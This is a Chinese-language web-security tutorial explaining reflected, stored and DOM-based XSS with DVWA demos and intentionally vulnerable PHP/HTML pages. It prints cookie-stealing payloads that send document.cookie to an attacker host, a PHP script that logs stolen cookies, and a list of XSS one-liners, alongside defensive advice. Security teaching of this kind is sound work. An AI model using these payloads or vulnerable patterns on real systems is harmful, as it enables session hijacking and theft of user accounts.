Web安全实战系列笔记 | XSS跨站实战和分析(五)

  • A+
所属分类:安全文章

点击上方蓝字关注我们


Web安全实战系列笔记 | XSS跨站实战和分析(五)


本系列实战笔记为红日安全核心人员学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容:
1、黑客工具使用;
2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识;
3、PHP语言讲解笔记
4、PHP代码审计笔记
5、WAF绕过笔记
6、逻辑漏洞学习笔记
希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源

1.1 XSS简介

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。它常常与其他漏洞一起造成破坏性的后果。

1.2 XSS的分类

XSS漏洞表现为多种形式,并且分为三种类型:反射型、储存型,DOM型。这些有一些相同的特点,但是在如何确定和利用方面有一些区别,下面依次分析他们。

1.2.1 反射型XSS

反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。
提取用户提交的输入并将其插入到服务器相应的html代码中,这是XSS漏洞的明显特征,如果应用程序没有实施任何过滤和净化,那么它很容易被攻击。
下面我就用DVWA为大家进行演示,在输入框中咱们构造如下JS代码
<script>alert('XSS')</script>
这代码是进行弹窗操作,如果页面出现弹窗,说明咱们插入的恶意代码被执行,结果如下图

Web安全实战系列笔记 | XSS跨站实战和分析(五)

进行这个简单的测试,有助于澄清两个重要问题,首先,name参数的内容可用任何返回给浏览器的数据代替,其次,无论服务器端应用程序如何处理这些数据,都无法阻止提交JS代码,一旦提交数据,这些代码就会执行。
那我们该如何利用反射型XSS漏洞呢?
最简单的一种攻击就是攻击者截获通过验证用户的会话令牌。劫持用户的会话后,攻击者就可以访问该用户经授权访问的所有数据和功能。下面为大家画图演示一下截获令牌的过程。

Web安全实战系列笔记 | XSS跨站实战和分析(五)

攻击者创建的恶意代码为
var i=new Image; i.src="http://马赛克.com/"+document.cookie;
这段代码可以让用户浏览器向马赛克.com(攻击者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌。
本次先演示简单XSS代码如下
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  <title>xss利用输出的环境构造代码</title>
</head>
<body>
<center>
  <h6>把输入的字符串输出</h6>
  <form action="#" method="get">
      <h6>请输入</h6>
      <input type="text" name="xss" value="请输入"><br />
      <input type="submit" value="确定">
  </form>
  <hr>
  <?php
      if (isset($_GET['xss'])) {
            echo '<input type="text" value="'.$_GET['xss'].'">';
      }else{
          echo '<input type="text" value="输出">';
      }
  ?>
</center>
</body>
</html>

在代码中,通过GET获取参数xss的值,然后通过echo输出一个input标签,并将xss的值放入input标签的value中。接下来我们看一下页面,例如我们输入123,会在下面的输出框中输出123。Web安全实战系列笔记 | XSS跨站实战和分析(五)那么下面,我们当我们输入"><script>alert(1)</script>时,输出到页面的HTML代码变为<input type="text" value=""><script>alert(1)</script>">我们发现,输入的双引号闭合了value属性的双引号,输入的>闭合了input的标签导致我们后面输入的恶意代码成为另一个HTML标签Web安全实战系列笔记 | XSS跨站实战和分析(五)当浏览器渲染时执行了<script>alert(1)</script>,JS函数alert()导致浏览器弹窗。<script< a="" style="box-sizing: border-box;">Web安全实战系列笔记 | XSS跨站实战和分析(五)</script<>

 

1.2.2 存储型XSS

如果一名用户提交的数据被保存到数据库中,然后不经过过滤或净化就显示给其他用户,这时候就会出现存储型XSS。
利用存储型XSS漏洞的攻击至少需要向应用程序提出两个请求。攻击者在第一个请求中构造JavaScript,应用程序接受并保存。在第二个请求中,一名受害者查看包含恶意代码的页面,这时JavaScript开始执行。
依然是会话劫持,为大家画图演示一下。

Web安全实战系列笔记 | XSS跨站实战和分析(五)

因为存储型XSS是永久性的,所以往往造成更大的安全威胁。攻击者可以向应用程序提交一些专门设计的数据,然后等待受害者访问它们。如果其中一位受害者是管理员,那么攻击者可以完全攻破整个应用程序。
先看代码,参考dvwa的核心代码。
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
  // Get input
  $message = trim( $_POST[ 'mtxMessage' ] );
  $name   = trim( $_POST[ 'txtName' ] );

  // Sanitize message input
  $message = stripslashes( $message );
  $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

  // Sanitize name input
  $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

  // Update database
  $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
  $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
在上面代码中,获取POST参数mtxMessage和txtName,然后将将参数插入到数据库的表中,并显示到页面上。页面的功能是获取用户名字和内容并插入到数据库中,如果我们输入恶意代码,那么也会插入到数据库中,只有用户访问这个页面,那么恶意代码就会执行。Web安全实战系列笔记 | XSS跨站实战和分析(五)打开数据库发现插入了我们构造的恶意代码。Web安全实战系列笔记 | XSS跨站实战和分析(五)

 

1.2.3 DOM型XSS

反射型和储存型XSS漏洞都表现出一种特殊的行为模式,其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。DOM型XSS没有这种特点,在这种漏洞中,攻击者的JavaScript通过下面方式提交。
1,用户请求一个经过专门设计的URL,它由攻击者提交,并且其中包含嵌入式JavaScript。
2,服务器的响应中并不以任何形式包含攻击者的代码。
3,当用户的浏览器处理这个响应时,上述脚本得以处理。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document  object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
  • 先看代码
<html>
<head>
  <meta http-equiv="content-type" content="text/html;charset=utf-8" />;
  <title>测试</title>
  <script type="text/javascript">
          function tihuan() {
                  document.getElementById("id1").innerHTML =document.getElementById("dom_input").value;
          }
  </script>
</head>
<body>
<center>
  <h6 id="id1">这里显示输入的内容</h6>
  <form action="#" method="post">
          <input type="text" id="dom_input" value="输入"><br />
          <input type="button" value="替换" onclick="tihuan()">
  </form>
  <hr>

</center>
</body>
</html>

DOM型XSS程序只有HTML代码,并不存在服务端代码,所以此程序并没有与服务端进行交互。程序存在JS函数tihuan(),该函数得作用是通过DOM操作将元素id1得内容修改为元素dom_input的内容。这个页面得功能是输入框中输入什么,上面得文字就会被替换成什么。Web安全实战系列笔记 | XSS跨站实战和分析(五)如果我们输入恶意代码,比如<img src=1 onerror=alert(/123/)>,单击替换按钮,页面弹出消息框,由于隐式输出,所以查看源代码时是看不到XSS代码的。Web安全实战系列笔记 | XSS跨站实战和分析(五)

1.3 xss防御

一,对输入内容的特定字符进行过滤,例如 < > 等符号。
可以使用 htmlentities()函数,htmlspecialchars()函数
htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持不好,都不能转化,所以用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS攻击,不能防止SQL注入攻击。
二,对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
三, 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。
四,后端接口也应该要做到关键字符过滤的问题。最后从网上收集了一些常用跨站一句话代码,有补充直接下方留言
<script>alert("XSS")</script>
<meta http-equiv="refresh" content="1;url=http://www.baidu.com">
<script language=vbscript> window.location.href="http://www.baidu.com" </script>
<iframe name="I1" src="http://www.baidu.com/" width="0" height="0"> </iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@import'javascript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

1.3 实例:几行代码实现cookie的盗取

1.3.1 介绍

文章中介绍了XSS(跨站脚本攻击)简单原理与几种类型。接下来通过实例用几行代码实现cookie的盗取。

13.2 cookie盗取讲解

这里测试用的工具是DVWA(可以本地搭建,前面文章有介绍),和phpstudy。首先登陆DVWA,选择low模式,点击submit按钮。如下图

Web安全实战系列笔记 | XSS跨站实战和分析(五)

然后咱们点击XSS(Reflected),首先输入 弹窗代码
<script>alert('XSS')</script>
然后界面弹窗,说明存在XSS跨站漏洞,如下图

Web安全实战系列笔记 | XSS跨站实战和分析(五)

接下来,打开phpstudy, 启动服务,点击创建网站,创建好之后,打开根目录,创建一个.php文件

Web安全实战系列笔记 | XSS跨站实战和分析(五)

然后.php文件里添加下面代码
<?php
$cookie = $_GET['cookie'];         //以GET方式获取cookie
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."n");           //写入文件并保存
fclose($log);
?>
接下来在有XSS漏洞的地方,输入如下代码
<script>document.location='http://你的IP/getcookie.php?cookie='+document.cookie;</script>

Web安全实战系列笔记 | XSS跨站实战和分析(五)

受攻击的服务器的cookie信息就会发送到攻击者的服务器并保存

Web安全实战系列笔记 | XSS跨站实战和分析(五)

测试结束。

1.4 总结

一、安装phpstudy集成环境。
二、自己搭建有xss漏洞的站点进行测试,这里推荐DVWA
三、构造获取cookie的代码,就是简单的接收参数,和保存文件。
四、构造JavaScript代码,将受害者的cookie信息发送到攻击者服务器。
五、查看保存的信息。

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
(来源:红日安全)

Web安全实战系列笔记 | XSS跨站实战和分析(五)


海量安全课程

阅读原文   可观看

 Web安全实战系列笔记 | XSS跨站实战和分析(五)Web安全实战系列笔记 | XSS跨站实战和分析(五)Web安全实战系列笔记 | XSS跨站实战和分析(五) 

本文始发于微信公众号(红日安全):Web安全实战系列笔记 | XSS跨站实战和分析(五)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: